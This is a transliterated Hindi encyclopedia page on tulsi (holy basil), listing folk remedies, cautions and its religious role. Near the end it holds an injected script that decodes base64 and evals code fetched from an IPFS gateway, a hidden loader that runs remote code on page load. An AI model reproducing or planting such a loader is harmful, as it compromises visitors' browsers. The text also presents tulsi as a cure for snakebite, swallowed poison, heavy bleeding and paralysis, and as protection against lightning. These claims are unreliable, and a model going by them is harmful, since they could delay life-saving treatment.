  • ghav -- tulasi ke patte pisakar jakhmoan par lagane se rakt mavad band ho jata hai. tulasi ke ras ko nariyal ke tel ko saman bhag mean lean aur unhean ek sath dhimi aanch par pakaean. jab tel rah jae to ise rakh lean. ise pho de, phuansi par lagaean. tulasi ke bijoan ko pisakar garm karake ghav mean bhar dean labh hoga. tulasi ke sookhe pattoan ka choorn bana kar ghav mean bhar dean, ki de mar jaeange. chhaya mean sukhaee tulasi ki pattiyaan isamean phitakari mahin pis lean, kap de se chhanakar taje ghav par lagaean, ghav shighr bhar jaega. tulasi tatha kapoor ka choorn ghav mean lagane se ghav shighr sookh jata hai.
  • jaharile jiv se june samasya mean --
  1. jaharile jiv saanp, tataiya, bichchhoo ke katane par tulasi pattoan ka ras us sthan par lagane se aram milata hai.
  2. tulasi ka ras sharir par malakar soyean, machchharoan se chhutakara milega. maleriya machchhar ka dushman hai tulasi ka ras.
  3. tulasi ke bij khane se vish ka asar nahian hota.
  4. tulasi ki pattiyaan aphim ke sath kharal karake choohe ke kate sthan par lagane se choohe ka vish utar jata hai.
  5. kisi ke pet mean yadi vish chala gaya ho to tulasi ka patr jitana pi sake piye, vish dosh shaant ho jata hai.
  6. tulasi ke pratyek hisse ko sarp vish mean upayogi paya gaya hai. sarpadansh se pi dit vyakti ko yadi samay par tulasi ka sevan karaya jae to usaki jan bach sakati hai. jis sthan par kata ho us par tulasi ki j d ko makkhan ya ghi mean ghisakar us par lep kar dena chahie jaise-jaise zahar khianchata chala jata hai is lep ka rang saphed se kala ho jata hai. kali parat ko hatakar phir taja lep kar dena chahie.
  7. bichchhoodansh mean tulasi svaras sir ki taraph se pair ki taraph malane se tatha tulasi patr ko chaugune jal mean ghoantakar paanch-paanch minat mean pilane se pi da shant hoti hai.
  8. tulasi ke paudhoan se prabhavit kshetr se vishakarak ki de-mako de door bhagate haian.
any samasya mean labh --
  • pratahkal khali pet 2-3 chammach tulasi ke ras ka sevan karean to sharirik bal evan smaran shakti mean vriddhi ke sath-sath apaka vyaktitv bhi prabhavashali hoga.
  • tulasi rakt mean kolestr aaul ki matra niyantrit karane ki kshamata rakhati hai. sharir ke vajan ko niyantrit rakhane hetu bhi tulasi atyant gunakari hai. isake niyamit sevan se bhari vyakti ka vajan ghatata hai evan patale vyakti ka vajan badhata hai yani tulasi sharir ka vajan anupatik roop se niyantrit karati hai.
  • tulasi ke ras ki kuchh booandoan mean tho da-sa namak milakar behosh vyakti ki nak mean dalane se use shighr hosh a jata hai.
  • chay banate samay tulasi ke kuchh patte sath mean ubal lie jaean to sardi, bukhar evan maansapeshiyoan ke dard mean rahat milati hai.
  • tanav -- tulasi ki pattiyoan mean tanav rodhigun bhi pae jate haian. hal mean hue shodhoan se pata chala hai ki tulasi tanav se bachati hai. tanav ko khud se door rakhane ke lie koee bhi vyakti tulasi ke 12 pattoan ka roj do bar sevan kar sakata hai.
  • kabhi-kabhi kisi vyakti mean adhik uttejan (pagalapan) a jata hai, aise mean lagatar tulasi ki pattiyaan sooanghe, masalakar chabaean, isake ras ko lean, sare sharir par lagaean, isase pagalapan ki uttejana thik hone mean labh milata hai.
  • pradooshan mean tulasi sevan karane se chhutakara milata hai. yah pradooshan jany rogoan se surakshit rakhati hai.
  • yadi adhik chot lagi ho aur adhik khoon bah raha ho to tulasi ke 20 pattoan ko pisakar ek chammach shahad mean milakar chatane se bahata khoon ruk jata hai.
  • tulasi ki mala pahanane se taansil nahian hota.
  • tulasi ke ras mean shahad milakar niyamit tho de dinoan tak lete rahane se medha shakti badhati hai, yah ek prakar ka t aaunik hai.
  • tulasi ki pisi pattiyoan mean ek chammach shahad milakar nity ek bar pine se ap nirogi raheange, galoan mean chamak aegi.
  • tulasi ke pattoan ka do tin chammach ras pratah khali pet lene se smaran shakti badhati hai.
  • pani mean tulasi ke patte dalakar rakhane se yah pani t aaunik ka kam karata hai.
  • jab dooshit pani pine se pet mean krimi ho jaye to jal ki shudhdata ke lie tulasi ke patte jal patr mean dalie aur kam se kam ek sava ghante rakhie. kap de se patr ke jal ko chhanate hue jal mean dale gaye pattoan ko bhi chhan lijie tab yah pani pine layaq shudhd ho jata hai.
  • tulasi bhojan ko shuddh karati hai, isi karan grahan lagane ke pahale bhojan mean dal dete haian jisase soory ya chandr ki vikrit kiranoan ka prabhav bhojan par nahian p data.
  • tulasi rakt alpata ke lie ramaban dava hai. niyamit sevan se himoglobin teji se badhata hai, sphoorti bani rahati hai.
  • tulasi ki seva apane hathoan se karean, kabhi charm rog nahian hoga.
  • khana banate samay sabji pulav adi mean tulasi ke ras ka chhianta dene se khane ki paushtikata v mahak das guna badh jati hai.
  • jvar v vaman mean- tulasi patr kalimirch ke sath pisakar pilane se vaman tatha jvar mean shighr asan hota hai.
  • isake pattoan ko ya kisi bhi aang ko sukhana ho to chhaya mean sukhaean.
  • tulasi ka mahatv aise hi nahian haian. tulasi aushadhiyoan ka khan haian. is karan tulasi ko athavarved mean mahaaushadhi ki sanjna di gee haian.
  • tulasi vatavaran ko bhi svachchh banane mean bhi madad karati haian. tulasi ke ras mean protojova aur machchhar ko nasht karane ki shakti paee jati haian. hamean apane ghar ke age ek tulasi ka paudha avashy lagane chahie. taki vah aau machchhar n ho aur hamean rogoan ka samana n karana p de.
  • bachchoan ke rog- tulasi ke pattoan se ras nikal lean aur usamean mishri gholakar roj subah dean. isase bachchoan ko ulti, dast, khaansi, jukam, sardi adi rogoan se aram milata hai.
  • pakshaghat (lakava) - avashyakatanusar tulasi ke patte aur tho da sa seandha namak pis lean. ise dahi mean bhali prakar milaean aur rogagrast aang par lep karean. jal mean tulasi ke patte (ek bar mean 25) ubalean aur rogagrast aang ko usaki bhap dean.
  • tulasi ke bij (manjari) pisakar khane se stambhan hota hai aur paushtikata prapt hoti hai.
  • ek chhota paudha jise vaishnav dharmavalanbi atyant pavitr manate aur pooja mean isaki pattiyoan ka upayog karate haian.
  • aangan mean isaka paudha lagaya jata hai.
  • prat:kal isamean jal chadhate aur sayan kal isake niche diya jalate haian.
  • tulasi ke sanbandh mean puranoan mean ek katha milati hai.
  • vah apane pativrat dharm ke karan vishnu ke lie bhi vandaniy thi.
upayog mean savadhani baratean --
  • tulasi ki prakriti garm hai, isalie garmi nikalane ke liye. ise dahi ya chhachh ke sath lean, isaki ushn gun halke ho jate haian.
  • tulasi aandhere mean na to dean, sharir mean vikar a sakate haian. karan aandhere mean isaki vidyut laharean prakhar ho jati haian.
  • tulasi ke sevan ke bad doodh bhoolakar bhi na piyean, charm rog ho sakata hai.
  • tulasi ras ko agar garm karana ho to shahad sath mean na lean. karan garm vastu ke sath shahad vish tuly ho jata hai.
  • tulasi ke sath doodh, mooli, namak, pyaj, lahasun, maansahar, khatte phal ye sabhi ka sevan karana hanikarak hai.
  • tulasi ke patte daanto se chabakar na khayean, agar khayean haian to turant kullakar lean. karan isaka aml daantoan ke enemal ko kharab kar deta hai.
  • phayade ko dekhate hue ek sath adhik matra mean na lean.
  • bina upayog tulasi ke pattoan ko to dana use nasht karane ke barabar hai.
prakritik mahatv -

jis ghar mean tulasi ka paudha lahalaha raha hoan vahaan akashiy bijali ka prakop nahian hota. ghar banate samay nianv mean gh de mean haldi se range kap de mean tulasi ki j d rakhane se us ghar par bijali girane ka dar nahian hota. tulasi ka paudha jahaan laga ho vaha asapas saanp bichchhoo jaise jaharile jiv nahian ate. tulasi ka paudha din rat aksijan deta hai, pradooshan door karata hai. tulasi ke paudhe ka vatavaran mean anukool prabhav p data hai. hamara prayas hona chahie ki pratyek ghar mean ek tulasi ka paudha jaroor ho samajaseva ka isase achchha, sulabhata, sugamata aur nishulk upalabdh hone vala aur kya upay ho sakata hai.

sambandhit lekh

dekhean • varta • badalean
bharatiy sanskriti ke pratik

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>


Retrieved from "https://en.bharatdiscovery.org/w/index.php?title=तुलसी&oldid=153821"